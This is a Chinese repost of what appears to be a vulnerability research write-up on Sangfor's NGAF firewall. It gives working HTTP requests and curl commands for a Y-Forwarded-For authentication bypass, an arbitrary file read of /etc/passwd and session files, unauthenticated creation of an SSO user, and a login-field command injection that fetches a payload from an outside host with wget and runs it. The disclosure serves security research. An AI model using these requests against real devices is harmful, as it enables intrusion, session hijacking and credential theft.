移动端 | 加入收藏 | 设为首页 | 最新ss | 赞助本站 | RSS
 

freefq.comfree——免费、自由fq——翻墙

困在墙内,请发邮件到freefqcom#gmail.com获得最新免费翻墙方法!
您当前的位置:首页 > 网络安全

发现深信服Sangfor防火墙中的远程漏洞

时间:2023-11-07  来源:  作者: 条评论
原题:再次发现Sangfor防火墙中的未授权远程命令执行漏洞 - Sangfor版本

uzC免费翻墙网
你可能已经注意到了一个趋势 - 是的,我们知道,我们看了很多企业级软件和设备。今天,我们不打算改变你对我们的期望 - 我们还是在看更多的企业级软件和设备。uzC免费翻墙网
uzC免费翻墙网
今天,我们来看看Sangfor的Next Gen Application Firewall(NGAF)。uzC免费翻墙网
uzC免费翻墙网
Sangfor(或Sangfor Technologies)是一家“中国的网络设备制造商,包括WAN优化、下一代防火墙和SSL VPN,主要销售给中型企业”。uzC免费翻墙网
uzC免费翻墙网
Sangfor自称是“有效的网络安全和高效的企业云解决方案的正确选择”。我们知道这一点(除了“因为他们在他们的网站上这样说”),因为“在Sangfor,我们相信为我们的客户提供最好的IT架构和安全解决方案”。uzC免费翻墙网
uzC免费翻墙网
以下是Sangfor关于他们NGAF的一些介绍:uzC免费翻墙网
uzC免费翻墙网
“Sangfor NGAF是世界上第一个具有人工智能功能和全面集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),通过Neural-X和Engine Zero等创新技术提供全面的威胁保护。它是一个真正安全、集成和简化的防火墙解决方案,为整个组织的安全网络提供全面的概览,并为管理、运营和维护提供便利。”uzC免费翻墙网
uzC免费翻墙网
太棒了。uzC免费翻墙网
uzC免费翻墙网
在我们开始这段旅程之前,我们想明确一点 - Sangfor告诉我们,这篇博文中的所有漏洞要么已经修复,要么是误报。我们不是在宣称发现了0day漏洞。因此,我们很高兴与大家分享我们对旧漏洞的分析,以及我们根据Sangfor的说法认为是故意设计的行为,最终我们很高兴我们不需要应用我们的90天漏洞披露政策。uzC免费翻墙网
uzC免费翻墙网
好奇的人可能会问:“这些已经存在且已修复的漏洞的公开通告在哪里?”好奇的人可能还会问,这样的漏洞怎么会出现在首次部署的安全设备中?幸运的是,我们不是好奇的人,我们很高兴不去质疑这些平凡的事情。uzC免费翻墙网
uzC免费翻墙网
无论如何,我们偏离了主题。作为我们博文的痴迷读者可能已经知道,我们经常针对我们自豪地与之合作的组织的攻击面上看到的企业技术。uzC免费翻墙网
uzC免费翻墙网
痴迷的读者也会熟悉我们对安全防火墙和VPN设备的深入痴迷 - 我们并不缺乏想象力,我们只是想要我们进入网络的入口点。uzC免费翻墙网
寻找猎物uzC免费翻墙网
uzC免费翻墙网
在以前的博文中,我们详细介绍了如何破解应用程序的详细步骤 - 提取HTTP路由、寻找参数,并确定我们在目标软件中将哪些功能部分定性为“感兴趣”。然而,在所有这些之前,必须做出一个决定 - 目标是否有足够的吸引力,是否值得投入时间?uzC免费翻墙网
uzC免费翻墙网
这种决策可能受到多种因素的影响,例如代码复杂性、现实世界的影响、安全透明度(哈哈),在这种特殊情况下,是不是散发出潜在的脆弱软件的明显迹象?uzC免费翻墙网
uzC免费翻墙网
Sangfor的NGAF引起了我们的注意,因为它没有CVE披露。这通常意味着要么安全社区尚未对其代码进行审查,要么所讨论的设备确实是安全的,或者更有可能的答案 - 一个充斥着保密协议和类似类型协议的漏洞赏金计划使安全流程变得神秘!uzC免费翻墙网
uzC免费翻墙网
我们通过https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4获得了Sangfor NGAF在AWS上的镜像,版本为AF8.0.17.364。
uzC免费翻墙网
uzC免费翻墙网
uzC免费翻墙网

基于重定向行为、端口和服务器标语iis8.0uzC免费翻墙网
uzC免费翻墙网
在深入研究代码和工作流程之前,我们可以从鸟瞰视角使用各种技巧来计算成功的“概率”。这些“概率”将帮助我们决定发现漏洞的可能性有多大,因此我们应该花费多少时间和精力来审计目标。uzC免费翻墙网
uzC免费翻墙网
令许多批评者失望的是,我们在代码库中看到的第一个“线索”是这个被称为“下一代”的设备使用了PHP和C++ CGI二进制文件的混合。我们之前已经看到过自定义的PHP应用程序如何导致安全问题,你只需要看看我们最近对Juniper防火墙的深入研究就知道了 - 但不要只听我们的意见,即使是Sangfor的开发人员对PHP也持有不好的看法,我们完全赞同。
uzC免费翻墙网
uzC免费翻墙网
此外,包含这种粗俗语言的代码库本身就是一个“线索” - 开发人员要么没有打算让公众看到这些代码,要么根本不在乎显得不专业 - 在我们看来。uzC免费翻墙网
uzC免费翻墙网
显然,我们的“概率”看起来相当不错。uzC免费翻墙网
当服务器端变成客户端时...uzC免费翻墙网
uzC免费翻墙网
除了在应用程序代码库中寻找粗俗语言和注释之外,我们首先对设备进行了一些简单的测试。uzC免费翻墙网
uzC免费翻墙网
当我们对设备有所了解时,我们开始探索可能揭示技术堆栈和架构内部工作方式的有趣行为。uzC免费翻墙网
uzC免费翻墙网
很快,我们就发现了一个“线索”,这让我们对Sangfor NGAF的兴趣大增。uzC免费翻墙网
uzC免费翻墙网
当请求目标服务器的PHP文件时,如果Content-Length头部中存在非数字值,服务器将以HTTP状态413(“内容太大”)进行响应。这并不是什么特别的,但不寻常的是,服务器端源代码(PHP)被转储在响应中(??):
uzC免费翻墙网
 uzC免费翻墙网

curl --insecure  https://<host>:85/index.php -H "content-Length:asdf"uzC免费翻墙网
uzC免费翻墙网
HTTP/1.1 413 Request Entity Too LargeuzC免费翻墙网
Date: Tue, 03 Oct 2023 10:08:06 GMTuzC免费翻墙网
Server:       uzC免费翻墙网
X-Frame-Options: SAMEORIGINuzC免费翻墙网
Connection: closeuzC免费翻墙网
Content-Type: text/html; charset=iso-8859-1uzC免费翻墙网
uzC免费翻墙网
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">uzC免费翻墙网
<html><head>uzC免费翻墙网
<title>413 Request Entity Too Large</title>uzC免费翻墙网
</head><body>uzC免费翻墙网
<h1>Request Entity Too Large</h1>uzC免费翻墙网
The requested resource<br />/index.php<br />uzC免费翻墙网
does not allow request data with GET requests, or the amount of data provided inuzC免费翻墙网
the request exceeds the capacity limit.uzC免费翻墙网
</body></html>uzC免费翻墙网
<?php uzC免费翻墙网
/*uzC免费翻墙网
 * @Func:    所有的请求都用apache服务器mod_rewrite模块改写URL规则,重新定向到这个php文件uzC免费翻墙网
 */uzC免费翻墙网
session_start();uzC免费翻墙网
uzC免费翻墙网
//统一使用webappsä½œä¸ºæ ¹ç›®å½•å®šä½å…¶å®ƒæ–‡ä»¶uzC免费翻墙网
require_once("../class/common/conf/config_inc.php");uzC免费翻墙网
if(SANGFOR_LANGUAGE == 'en.UTF-8') {uzC免费翻墙网
    require_once("../conf/lang/eng.utf8.lang.app.php");uzC免费翻墙网
}uzC免费翻墙网
uzC免费翻墙网
else {uzC免费翻墙网
    require_once("../conf/lang/chs.utf8.lang.app.php");uzC免费翻墙网
}uzC免费翻墙网
uzC免费翻墙网
//判断是否存在硬盘uzC免费翻墙网
if(@file_exists("/etc/sinfor/log/diskerror.log")) {uzC免费翻墙网
    header("Content-Type:text/html; charset=utf-8");uzC免费翻墙网
    echo LOG_DISK_ERROR;uzC免费翻墙网
    exit(0);uzC免费翻墙网
}uzC免费翻墙网
uzC免费翻墙网
//对于高端母盘设备ssd+hdd判断hdd是否异常uzC免费翻墙网
if(@file_exists("/etc/sinfor/log/adv_diskerror.log")) {uzC免费翻墙网
    header("Content-Type:text/html; charset=utf-8");uzC免费翻墙网
    echo LOG_DISK_ERROR;uzC免费翻墙网
    exit(0);uzC免费翻墙网
}uzC免费翻墙网
uzC免费翻墙网
require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");uzC免费翻墙网
uzC免费翻墙网
$t_objFrontController = new CFrontController();uzC免费翻墙网
$t_objFrontController->dispatchRequest();uzC免费翻墙网
?>uzC免费翻墙网

uzC免费翻墙网
几个小时后,盯着屏幕看了很久,我们得出结论,这可能不是故意的(Sangfor不同意)。uzC免费翻墙网
uzC免费翻墙网
作为一个有教养的猜测,我们最有可能看到的是一个整数处理问题,发生在CGI处理程序的某个地方。不幸的是,这种类型的漏洞通常涉及敏感文件(如config.php等),这些文件在升级访问权限的漏洞中非常有用,但这些文件在这种情况下并不存在。uzC免费翻墙网
uzC免费翻墙网
尽管上述行为很有趣,但我们对所达到的混乱程度并不满意 - 但我们确实感到,我们已经证明了这个设备很可能达到了“有趣”的标准。因此,是时候深入研究了。uzC免费翻墙网
洗牌和发牌uzC免费翻墙网
uzC免费翻墙网
对于在家里跟随的朋友们,我们迅速枚举了使用命令lsof -nP -i | grep LISTEN从NGAF的本地shell上暴露的服务。简而言之,我们可以看到我们有两个HTTPS服务开放,监听在0.0.0.0上:uzC免费翻墙网
uzC免费翻墙网
    端口85/TCP,运行“防火墙报告中心”,以及uzC免费翻墙网
    端口4433/TCP,运行“管理员登录门户”。uzC免费翻墙网
uzC免费翻墙网
自然地,我们深入研究了端口85/TCP。uzC免费翻墙网
uzC免费翻墙网
在这个服务中找到入口点 - 在位于/etc/apache/conf.new/original/httpd.conf的Apache配置中定义。uzC免费翻墙网
uzC免费翻墙网
当我们试图了解设备暴露的攻击面以及Apache Web服务器配置文件中的具体内容时,我们寻找Location、ScriptAlias和Alias指令。这样做通常会为我们提供一个很好的端点和暴露目录的列表,在这个安全、强化的、由AI驱动的Sangfor设备的情况下,呈现的结果包括一个丰富的可能性列表:
uzC免费翻墙网
 uzC免费翻墙网

Alias /icons/ "/virus/apache/apache/icons/"uzC免费翻墙网
Alias /bbc "/virus/webui/ext/fast_deploy.html"uzC免费翻墙网
Alias /manual/ "/virus/apache/apache/htdocs/manual/"uzC免费翻墙网
Alias /cgi-bin/ "/virus/webui/cgi-bin/"uzC免费翻墙网
Alias /svpn_html/ "/virus/webui/svpn_html/"uzC免费翻墙网
Alias /proxy.html "/virus/webui/ext/login.php"uzC免费翻墙网
Alias /proxy_cssp.html "/virus/webui/ext/login.php"uzC免费翻墙网

uzC免费翻墙网
然而,尝试访问其中任何一个项目都会被重定向到认证页面 - 在LogInOut.php。uzC免费翻墙网
uzC免费翻墙网
对我们来说,后认证漏洞并不感兴趣 - 我们只对预认证漏洞感兴趣。是时候再次查看Apache配置了。uzC免费翻墙网
uzC免费翻墙网
进一步分析这个配置文件揭示了一个RewriteRule规则,它将所有请求重写到index.php,其中包含几个require和更重要的是 - 对控制器类的调用。uzC免费翻墙网
uzC免费翻墙网
require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");uzC免费翻墙网
uzC免费翻墙网
$t_objFrontController = new CFrontController();uzC免费翻墙网
$t_objFrontController->dispatchRequest();uzC免费翻墙网
uzC免费翻墙网
这个控制器类处理我们的应用级路由。它在CFrontController.php中进行了详细的映射,我们可以看到与每个端点相关联的控制器函数:uzC免费翻墙网
uzC免费翻墙网
没有一个直接通过Web界面访问这些函数,而不需要先进行身份验证,所以现在是时候查看调用这些函数的函数了。这就是dispatchRequest()函数。uzC免费翻墙网
uzC免费翻墙网
在查看这个函数的时候,我们立即看到了我们下一个感兴趣的点 - 函数在转发请求之前检查身份验证。uzC免费翻墙网
uzC免费翻墙网
我们可以看到一个IF条件,它将$_SERVER['REMOTE_ADDR'](即客户端的IP地址)与127.0.0.1(本地主机)的值进行比较,如果匹配,那么布尔值$t_boolNeedCheck被设置为false,并且绕过了重定向逻辑的其余部分。uzC免费翻墙网
uzC免费翻墙网
这是条件身份验证的最佳实践。
uzC免费翻墙网
 uzC免费翻墙网

public function dispatchRequest()uzC免费翻墙网
    {uzC免费翻墙网
        $t_objController = $this->getControllerInstance();uzC免费翻墙网
        if($t_objController) {uzC免费翻墙网
            //是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击uzC免费翻墙网
            if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')uzC免费翻墙网
                $t_boolNeedCheck = false;uzC免费翻墙网
            elseuzC免费翻墙网
                $t_boolNeedCheck = true;uzC免费翻墙网
            if(isset($t_objController->m_boolNeedCheck))uzC免费翻墙网
                $t_boolNeedCheck = $t_objController->m_boolNeedCheck;uzC免费翻墙网
            //防止跨站攻击uzC免费翻墙网
            if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)uzC免费翻墙网
            {uzC免费翻墙网
                //要设置t_boolNeedCheck = false,要不会有重定向死循环uzC免费翻墙网
                CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');uzC免费翻墙网
                exit(0);uzC免费翻墙网
            }uzC免费翻墙网
            $t_fStartTime = $this->costMicroTime();uzC免费翻墙网
            $t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);uzC免费翻墙网
            $t_fEndTime = $this->costMicroTime();uzC免费翻墙网
            $t_fTotal = $t_fEndTime - $t_fStartTime;uzC免费翻墙网
            uzC免费翻墙网
            CMiscFunc::printMsg($t_fTotal);uzC免费翻墙网
            return true;uzC免费翻墙网
        }uzC免费翻墙网
        CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');uzC免费翻墙网
        return false;uzC免费翻墙网
    }uzC免费翻墙网

uzC免费翻墙网
作为外部攻击者,我们能否控制PHP看到的IP地址,或者是否存在SSRF类型的漏洞,我们可以利用它们绕过这种强大的安全控制?uzC免费翻墙网
uzC免费翻墙网
在现实世界中,有几个头部可以实现这一点 - 例如X-Forwarded-For和X-Real-Ip HTTP请求头,但实验证明它们没有效果。uzC免费翻墙网
uzC免费翻墙网
再次参考httpd.conf,我们可以看到一个不寻常但可疑的指令 - RPAFheader Y-Forwarded-For。这个指令是从mod_rpaf模块加载的,允许客户端设置他们的“远程”IP地址...很有用。我们认为这可能是预期的功能。uzC免费翻墙网
uzC免费翻墙网
测试请求涉及Y-Forwarded-For: 127.0.0.1,我们发现当进行未经身份验证的请求时,我们不再被重定向到登录页面。uzC免费翻墙网
uzC免费翻墙网
哇哦!我们在潜在的漏洞链中达到了第一阶段,因为这为我们打开了一个“全新的世界” - 所有在Apache配置中定义的Alias。uzC免费翻墙网
uzC免费翻墙网
例如,以前无法访问的/vmp_getinfo现在在我们的掌握之中:uzC免费翻墙网
uzC免费翻墙网
curl --insecure  https://<host>:85/vmp_getinfo -H "Y-Forwarded-For: 127.0.0.1"uzC免费翻墙网
uzC免费翻墙网
这是一个事后的想法,但我们花了一些时间思考这个设置的实际目的,因为它在代码中没有被使用。也许它在测试期间被使用过,或者在后来的版本中删除了一些最初的目的?我们将这个想法留给你们自己思考,但是你知道,计算机和代码并不是魔法。uzC免费翻墙网
uzC免费翻墙网
再展示一点...uzC免费翻墙网
uzC免费翻墙网
凭借我们的“潜在行为”,我们有了一些有趣的行为,现在是时候出发,看看我们接下来要去哪里了?uzC免费翻墙网
uzC免费翻墙网
回到Apache配置文件,有一个有趣的Alias指令 - /svpn_html/ "/virus/webui/svpn_html/" - 它呈现了一个更大的应用程序代码和功能集合供我们踢。uzC免费翻墙网
uzC免费翻墙网
我们注意到了loadfile.php,它接受一个名为file的参数,解析其路径,读取内容,并将其写入响应。看起来像是一个易于获得的任意文件读取漏洞:
uzC免费翻墙网
 uzC免费翻墙网

<?phpuzC免费翻墙网
function get_basename($filename){uzC免费翻墙网
    return preg_replace('/^.+[\\\\\\\\\\\\/]/', '', $filename);uzC免费翻墙网
}uzC免费翻墙网
$file = addslashes($_GET['file']);uzC免费翻墙网
uzC免费翻墙网
echo $file;uzC免费翻墙网
//add by 1wuzC免费翻墙网
$file_path = pathinfo($file);uzC免费翻墙网
uzC免费翻墙网
$extname = $file_path ['extension'];uzC免费翻墙网
$filename = "";uzC免费翻墙网
uzC免费翻墙网
if (!file_exists($file)) {uzC免费翻墙网
    die("File Not found");uzC免费翻墙网
}uzC免费翻墙网
$filename = get_basename($file);uzC免费翻墙网
uzC免费翻墙网
$ua = $_SERVER["HTTP_USER_AGENT"];uzC免费翻墙网
header('Content-type: application/octet-stream');uzC免费翻墙网
if (preg_match("/Firefox/", $ua)) {uzC免费翻墙网
    header('Content-Disposition: attachment; filename*="utf8\\'\\'' . $filename . '"');uzC免费翻墙网
} else {uzC免费翻墙网
    header('Content-Disposition: attachment; filename="' . urlencode($filename) . '"');uzC免费翻墙网
}uzC免费翻墙网
readfile($file);uzC免费翻墙网
uzC免费翻墙网
if($needDelete) {uzC免费翻墙网
    @unlink($file);uzC免费翻墙网
}uzC免费翻墙网
?>uzC免费翻墙网
uzC免费翻墙网
curl --insecure  https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"uzC免费翻墙网

uzC免费翻墙网
糟糕。我们又一次取得了进展。uzC免费翻墙网
uzC免费翻墙网
只是提醒一下,这是“世界上第一个具有人工智能功能和全面集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),通过Neural-X和Engine Zero等创新技术提供全面的威胁保护”。uzC免费翻墙网
uzC免费翻墙网
虽然看到/etc/passwd总是一张精彩的截图,但我们想知道对我们的读者来说可能产生的最大影响是什么。除了找到明文凭据之外,我们确实发现了一些显示活动的PHPSESSID的文件,所以我们可以劫持会话,有很多可以选择的文件:uzC免费翻墙网
uzC免费翻墙网
/etc/sinfor/DcUserCookie.confuzC免费翻墙网
/etc/en/sinfor/DcUserCookie.confuzC免费翻墙网
/config/etc/sinfor/DcUserCookie.confuzC免费翻墙网
/config/etc/en/sinfor/DcUserCookie.confuzC免费翻墙网
uzC免费翻墙网
如果你还在寻找以管理员身份轻松获得访问权限的更简单的方法,你可以查看Apache访问日志,并查看通过GET请求传递的Cookie。Bug Triagers对这个“低级”的发现可能会感到困惑,但我们作为管理员却很轻松。uzC免费翻墙网
uzC免费翻墙网
/virus/apache/apache/logs/access_loguzC免费翻墙网
uzC免费翻墙网
编辑注:我们觉得自己在某些国家是非官方的系统管理员(希望有人能理解这个引用)。uzC免费翻墙网
转折点uzC免费翻墙网
uzC免费翻墙网
此刻,我们不得不停下来,停下来思考。一个“下一代”应用防火墙怎么会有这样一个容易的、低悬的漏洞呢?这个设备真的安全吗?uzC免费翻墙网
uzC免费翻墙网
对于我们来说,发现这个设备中的远程命令执行漏洞有多么容易,我们感到非常困惑。难道这个设备真的如此创新和下一代,我们正在看到新的东西吗?uzC免费翻墙网
uzC免费翻墙网
好吧,暂时我们愿意接受这一点 - 我们发现远程命令执行的机会增加了,现在是时候全力以赴了。uzC免费翻墙网
uzC免费翻墙网
在进一步审计设备之前,我们发现了一个有趣的文件 - HttpHandler.php,它提供了类似AJAX的功能。它接受两个请求参数,controler和action,并使用它们调用指定的控制器类和公共函数:uzC免费翻墙网
uzC免费翻墙网
public function process()uzC免费翻墙网
    {uzC免费翻墙网
        tryuzC免费翻墙网
        {uzC免费翻墙网
            $controller=$_REQUEST["controler"];uzC免费翻墙网
            $action=$_REQUEST["action"];uzC免费翻墙网
uzC免费翻墙网
            $this->validPara($controller, 'AjaxReq_NoConctroler');uzC免费翻墙网
            $this->validPara($action, 'AjaxReq_NoAction');uzC免费翻墙网
            $controller = $controller."Controller";uzC免费翻墙网
uzC免费翻墙网
            //反射controller类信息uzC免费翻墙网
            $classInfo = new ReflectionClass($controller);uzC免费翻墙网
uzC免费翻墙网
            //创建controller类实例uzC免费翻墙网
            $instance=$classInfo->newInstance();uzC免费翻墙网
uzC免费翻墙网
            //反射得到action方法uzC免费翻墙网
            $methodInfo = $classInfo->getMethod($action);uzC免费翻墙网
uzC免费翻墙网
            //反射得到action参数表uzC免费翻墙网
            $parainfos=$methodInfo->getParameters();uzC免费翻墙网
            $paras=array();uzC免费翻墙网
uzC免费翻墙网
例如,如果设备与域连接,我们可以通过/svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3检索配置数据。uzC免费翻墙网
uzC免费翻墙网
HTTP/1.1 200 OKuzC免费翻墙网
Date: Wed, 13 Sep 2023 08:47:12 GMTuzC免费翻墙网
Server:uzC免费翻墙网
uzC免费翻墙网
X-Frame-Options: SAMEORIGINuzC免费翻墙网
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnlyuzC免费翻墙网
Expires: Thu, 19 Nov 1981 08:52:00 GMTuzC免费翻墙网
Cache-Control: private, proxy-revalidate no-transformuzC免费翻墙网
Pragma: private, proxy-revalidate, no-transformuzC免费翻墙网
Vary: Accept-Encoding,User-AgentuzC免费翻墙网
Content-Length: 303uzC免费翻墙网
Connection: closeuzC免费翻墙网
Content-Type: text/htmluzC免费翻墙网
uzC免费翻墙网
{"code":0,"success":true,"result":{"devName":"**<redacted>**","svrDomainName":"","logSvrDomain":"","domainComputer":"","srvDomainAddr":"","domainUserName":"","domainUserPwd":"","enableDomain":0,"eanbleDomainAuth":0},"message":"Operation success","readOnlyInfo":{"enable_ids":"","disable_ids":"","readonly":1}}uzC免费翻墙网
uzC免费翻墙网
是的,真的。uzC免费翻墙网
uzC免费翻墙网
总共有20个控制器和一百多个函数需要审计。不幸的是,大多数具有有趣行为的公共函数还会检查“正确的”(即除了“源IP”之外)身份验证,我们再次被重定向到登录页面(这次没有绕过)。uzC免费翻墙网
uzC免费翻墙网
我们找到了一个缺少身份验证检查的“写入”函数,允许我们写入SQLite数据库并为SSL VPN创建新的SSO用户。关于这个的影响,我们将留给你的想象力。uzC免费翻墙网
uzC免费翻墙网
有趣的是,它也容易受到SQL注入的攻击,但由于底层的DBMS是SQLite,这对于RCE的效用有限。
uzC免费翻墙网
 uzC免费翻墙网

POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1uzC免费翻墙网
Host: uzC免费翻墙网
Y-Forwarded-For: 127.0.0.1uzC免费翻墙网
Connection: keep-aliveuzC免费翻墙网
Content-Type: application/x-www-form-urlencodeduzC免费翻墙网
Content-Length: 72uzC免费翻墙网
uzC免费翻墙网
controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowruzC免费翻墙网

uzC免费翻墙网
在审计设备花费了大量时间后,我们得到了:uzC免费翻墙网
uzC免费翻墙网
    身份验证绕过uzC免费翻墙网
    源代码泄露uzC免费翻墙网
    本地文件读取uzC免费翻墙网
    添加自己的SSO用户的能力uzC免费翻墙网
    转储Active Directory配置信息,包括用户名和密码的能力。uzC免费翻墙网
uzC免费翻墙网
但是,我们感到困惑。远程命令执行会逃脱我们吗?这个设备真的安全吗?uzC免费翻墙网
与Pspy合作uzC免费翻墙网
uzC免费翻墙网
在这个过程中,我们不得不重新评估我们明显失败的方法。我们需要更多的透明度来理解与系统交互的代码。uzC免费翻墙网
uzC免费翻墙网
对于大多数这样的应用程序,主要的注入类型是命令和SQL。也许我们可以通过在数据库配置中启用Trace日志或grep所有正在进行的操作系统命令来增强这些领域的可见性?uzC免费翻墙网
uzC免费翻墙网
通过查看各种类,我们可以看到开发人员喜欢使用shell_exec、exec和popen来执行shell命令。代码有点难以追踪,所以我们使用pspy来帮助。uzC免费翻墙网
uzC免费翻墙网
Pspy是一个有用的小工具,常常被CTF团队使用,它会在后台记录所有正在生成的进程及其参数 - 对于发现命令注入非常有用,我们怀疑这将是最快到达RCE的路径。uzC免费翻墙网
uzC免费翻墙网
将pspy二进制文件和grep命令放在目标主机上,允许我们查看Apache进程生成的所有进程及其参数:uzC免费翻墙网
uzC免费翻墙网
在再次运行所有控制器和函数之后,我们仍然无法找到任何明显的注入点。在耗尽了这个服务的代码库之后,我们决定休息一下,放弃(哈哈)。uzC免费翻墙网
uzC免费翻墙网
这是一个幸运的例子 - 当以正常方式进行身份验证时,某种神秘的力量推动我们的手指,我们不小心输入了错误的用户名。我们仍然在观察进程的同时,我们的眼睛睁大了,因为我们看到:uzC免费翻墙网
uzC免费翻墙网
正如您在上面的pspy捕获中所看到的,用户名Admi直接传递给了一个shell命令...我们是否可能在登录页面的用户名参数中注入我们自己的命令?uzC免费翻墙网
uzC免费翻墙网
这显然是不可能的...一个普通的扫描器、渗透测试人员或赏金猎人肯定会发现的,对吧?好样的验证码。uzC免费翻墙网
uzC免费翻墙网
在查看文件CFWLogInOutDAO.php时,我们可以找到负责此操作的remoteLogin()函数:
uzC免费翻墙网
 uzC免费翻墙网

public function remoteLogin(&$in_arrSearchCondition)uzC免费翻墙网
    {uzC免费翻墙网
        $userName = $in_arrSearchCondition ['user_name'];uzC免费翻墙网
        $passwd = $in_arrSearchCondition ['password'];uzC免费翻墙网
        //rsa的解密uzC免费翻墙网
        $t_strMD5 = $this->decrypt($passwd);        uzC免费翻墙网
        $fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");uzC免费翻墙网
        $retResult = fread($fp, 20);uzC免费翻墙网
        pclose($fp);uzC免费翻墙网
        if ($retResult == "retLoginSuccess") {uzC免费翻墙网
            $in_arrSearchCondition ['user_name'] = $userName."_remote_";uzC免费翻墙网
            $t_strUserName = addslashes($in_arrSearchCondition ['user_name']);uzC免费翻墙网
            $t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";uzC免费翻墙网
            return $this->setSession($t_strSQL);uzC免费翻墙网
        }uzC免费翻墙网
        return false;uzC免费翻墙网
    }uzC免费翻墙网

uzC免费翻墙网
具有讽刺意味的是,开发人员在处理之前在用户名上调用了addslashes()函数,但在在popen()函数中使用之前没有进行任何净化。糟糕!uzC免费翻墙网
uzC免费翻墙网
经过一段时间的尝试,我们意识到无法在用户名中注入任意特殊字符,因为由于mod_security的限制,引号、重音符号(甚至逻辑运算符||和&&)都是不允许的。然而,我们注意到可以使用分号截断命令。uzC免费翻墙网
uzC免费翻墙网
作为我们的注意力集中的人,我们希望展示一个神奇的输出,显示从单个HTTP请求到响应的命令执行 - 因此,我们必须变得有创造力。响应详细信息中列出了一个在文件/virus/dcweb/conf/lang/eng.utf8.lang.app.php中声明的静态错误消息。uzC免费翻墙网
uzC免费翻墙网
我们的新生活目标是编写一个输出到此错误消息的命令。通常情况下(我们喜欢这个词),你会使用某种编码来绕过“ “和mod_security的限制,但是在这个设备上没有base64和xxd可用。为了绕过这个问题,我们采用了以下获胜路径:uzC免费翻墙网
uzC免费翻墙网
    在外部的HTTP服务器上托管有效载荷uzC免费翻墙网
    使用wget获取有效载荷uzC免费翻墙网
    通过source执行有效载荷 - 我们认为这比.更酷uzC免费翻墙网
    用$(id)的值替换错误消息的内容uzC免费翻墙网
uzC免费翻墙网
我们得到了这个令人惊叹的截图,展示了所有的一切:uzC免费翻墙网
uzC免费翻墙网
请求:
uzC免费翻墙网
 uzC免费翻墙网

POST /LogInOut.php HTTP/1.1uzC免费翻墙网
Host:uzC免费翻墙网
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2uzC免费翻墙网
Content-Type: application/x-www-form-urlencoded; charset=UTF-8uzC免费翻墙网
Connection: closeuzC免费翻墙网
Content-Length: 625uzC免费翻墙网
uzC免费翻墙网
type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>uzC免费翻墙网

uzC免费翻墙网
Cmd.txt负载:sed -i s/Lock/"$(id)"/g /virus/dcweb/conf/lang/eng.utf8.lang.app.phpuzC免费翻墙网
uzC免费翻墙网
响应:
uzC免费翻墙网
 uzC免费翻墙网

HTTP/1.1 200 OKuzC免费翻墙网
Date: Thu, 05 Oct 2023 07:46:53 GMTuzC免费翻墙网
Server:       uzC免费翻墙网
X-Frame-Options: SAMEORIGINuzC免费翻墙网
Expires: Thu, 19 Nov 1981 08:52:00 GMTuzC免费翻墙网
Cache-Control: private, proxy-revalidate, no-transformuzC免费翻墙网
Pragma: private, proxy-revalidate, no-transformuzC免费翻墙网
Vary: Accept-Encoding,User-AgentuzC免费翻墙网
Content-Length: 139uzC免费翻墙网
Connection: closeuzC免费翻墙网
Content-Type: text/htmluzC免费翻墙网

uzC免费翻墙网
错误:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)因登录失败次数过多而触发。请在5分钟后再试!uzC免费翻墙网
uzC免费翻墙网
寻找兔子uzC免费翻墙网
uzC免费翻墙网
虽然每个研究人员都梦想找到RCE,但发现这样一个简单的漏洞令人沮丧。人们可能会期望实现RCE需要一个美丽的2或3个漏洞链,使用授权绕过、PHP对象注入和各种其他花招。uzC免费翻墙网
uzC免费翻墙网
你可以想象在这个设备中实现大RCE是多么容易。uzC免费翻墙网
uzC免费翻墙网
只是提醒一下,这是“世界上第一个具有全面保护功能的AI启用和完全集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),由Neural-X和Engine Zero等创新技术提供支持”。uzC免费翻墙网
uzC免费翻墙网
我们决定给这个设备第二次机会-也许一些野外的设备已经将85/TCP端口防火墙关闭,只开放了4433/TCP端口。这将给我们一个机会来构建一个更复杂的攻击路径,获得更多的关注/互联网积分。uzC免费翻墙网
uzC免费翻墙网
